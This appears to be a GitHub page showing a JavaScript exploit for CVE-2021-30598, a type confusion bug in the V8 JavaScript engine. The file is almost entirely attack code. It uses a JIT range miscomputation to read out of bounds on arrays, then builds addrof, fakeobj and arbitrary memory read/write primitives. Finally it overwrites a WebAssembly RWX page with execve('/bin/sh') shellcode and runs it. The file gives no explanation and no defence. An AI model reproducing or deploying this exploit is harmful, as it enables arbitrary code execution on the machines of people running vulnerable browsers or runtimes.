-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathcve-2021-30598.js
237 lines (169 loc) · 6.63 KB
/
cve-2021-30598.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
cvt_buf = new ArrayBuffer(8);
cvt_f64a = new Float64Array(cvt_buf);
cvt_u64a = new BigUint64Array(cvt_buf);
cvt_u32a = new Uint32Array(cvt_buf);
function ftoi(f) { // float -> bigint
cvt_f64a[0] = f;
return cvt_u64a[0];
}
function itof(i) { // bigint -> float
cvt_u64a[0] = i;
return cvt_f64a[0];
}
function lower(i) {
return Number(i % (2n**32n));
}
function upper(i) {
return Number(i / (2n**32n));
}
function pair(h,l) {
return BigInt(h) * (2n**32n) + BigInt(l);
}
function leak_array_map(arg_true, obj) {
// leaks the address of the map corresponding to an array with double-typed elements
// as well as the map for its element storage
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31; // Range(0,0); is: -1
let arr = new Array(3+30*(1+confused));
arr[0] = 1e64; // make sure arr is of type double
arr[1] = 2e64;
let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
let iter = arr[Symbol.iterator]();
// skip elements of arr:
iter.next();iter.next();iter.next();
// at header of arr2 elements (need 1 skip as arr is 64-bit sized):
iter.next();
// skip elements of arrw (need 3 skips as arr and arrw both have 64-bit elements):
iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();iter.next();
let v0 = iter.next();
// at header of arr2 object:
let v1 = iter.next();
return [v0.value, v1.value, arr2];
}
function leak_addr_helper(arg_true, obj) {
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31; // Range(0,0); is: -1
let arr = new Array(3+30*(1+confused));
arr[0] = 0.5; // make sure arr is of type double
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]={}; // make sure arr2 is of type smi/object
arr2[1] = obj;
arr2[0] = 0x1337;
let iter = arr[Symbol.iterator]();
// skip elements of arr:
iter.next();iter.next();iter.next();
// skip over next array's header (nead one skip as arr is 64-bit sized):
iter.next();
let v1 = iter.next().value;
return v1;
}
function fake_obj_helper(arg_true, val) {
let o = {ct: true, c0: 0, c1: 1};
let aa = arg_true ? 8 : "7";
let c0 = (Math.max(aa, 0) + aa - 16);
let v01 = 2**32 + (o.c0 & 1);
let xx = 2**32-1;
let ra = (xx >>> c0) - v01;
let rb = ((xx-2**32) << (32-c0));
let confused = (ra^rb) >> 31; // Range(0,0); is: -1
let arr = new Array(3+30*(1+confused));
arr[0] = 0; // make aure we are a smi/object-array
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0; // make sure arr2 is a double-typed array
arr2[0] = val;
let iter = arr[Symbol.iterator]();
// skip elements of arr:
iter.next();iter.next();iter.next();
// skip over arr2's header (need two skips as arr is 32-bit sized):
iter.next();
let v0 = iter.next();
// read first half of arr2[0] contents:
let v1 = iter.next();
return [v0.value,v1.value];
}
for (i=0; i < 10**4; i+=1) fake_obj_helper(true,2.567347528655259e-289);
fake_obj_helper(true,1.2132797677859895e-279);
let obj = new Array(128);
for (i=0; i < 10**4; i+=1) leak_addr_helper(true,obj);
let arr = new Array(128);
for (i=0; i < 10**4; i+=1) leak_array_map(true,arr);
var res = leak_array_map(true,arr);
let elems_map_leak = res[0];
let array_map_leak = res[1];
console.log("elems_map_leak = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]);
console.log("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | " +res[1]);
function addrof(obj) {
// gets the address (as a tagged, compressed pointer) of any object
let f = leak_addr_helper(true, obj);
let n = ftoi(f);
let u = upper(n);
let l = lower(n);
if (l != (0x1337 << 1)) console.log("lower doesn't match expected!");
return u;
}
function fakeobj(addr) {
// given a tagged, compressed pointer, return the fake object at that place
let f = itof(pair(addr,addr));
let res = fake_obj_helper(true,f);
console.log("[*]res[0]:"+res[0]);
return res[1];
}
let foo_arr = [0.0, 1.1, 2.2, 3.3, 4.4];
let foo_content_addr = addrof(foo_arr) + 32;
console.log(foo_content_addr.toString(16));
let rw_arr = [itof(pair(0x13371337,0x13371337)),1.1,0.0,array_map_leak,60.0,0.0];
let rw_arr_addr = addrof(rw_arr);
let rw_arr_content_addr = rw_arr_addr + 32;
rw_arr[4] = itof(pair(50, rw_arr_content_addr));
rw_arr[4] = itof(pair(50, rw_arr_content_addr));
let r = fakeobj(rw_arr_content_addr+8*3); // create another array, overlapping rw_arr
// %DebugPrint(r);
// %SystemBreak();
function read64(addr) {
console.log("[*]addr to read:0x" + addr.toString(16));
rw_arr[4] = itof(pair(50, addr-8));
// %SystemBreak();
console.log("[*]data : "+ ftoi(r[0]).toString(16));
return ftoi(r[0]);
}
function write64(addr,data){
rw_arr[4] = itof(pair(50, addr-8));
r[0] = itof(data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule,{});
var f = wasmInstance.exports.main;
let wasm_instance_addr = addrof(wasmInstance);
let rwx_page = read64(wasm_instance_addr+13*8);
console.log("[*] wasm_instance_addr 0x" + wasm_instance_addr.toString(16));
console.log("[*] rwx_page addr 0x" + (rwx_page).toString(16));
var shellcode = [
0x6a,0x3b,0x58,0x99,0x52,0x48,0xbb,0x2f,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x53,
0x54,0x5f,0x52,0x57,0x54,0x5e,0x0f,0x05,
];
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var data_buf_address = addrof(data_buf);
var buf_backing_store_addr = data_buf_address + 0x14;
write64(buf_backing_store_addr,rwx_page);
// %DebugPrint(data_buf);
// %SystemBreak()
for(let i = 0;i < shellcode.length;i++){
data_view.setUint8(i,shellcode[i],true);
}
console.log("[*] 写代码成功");
f();
console.log("[*]执行完毕")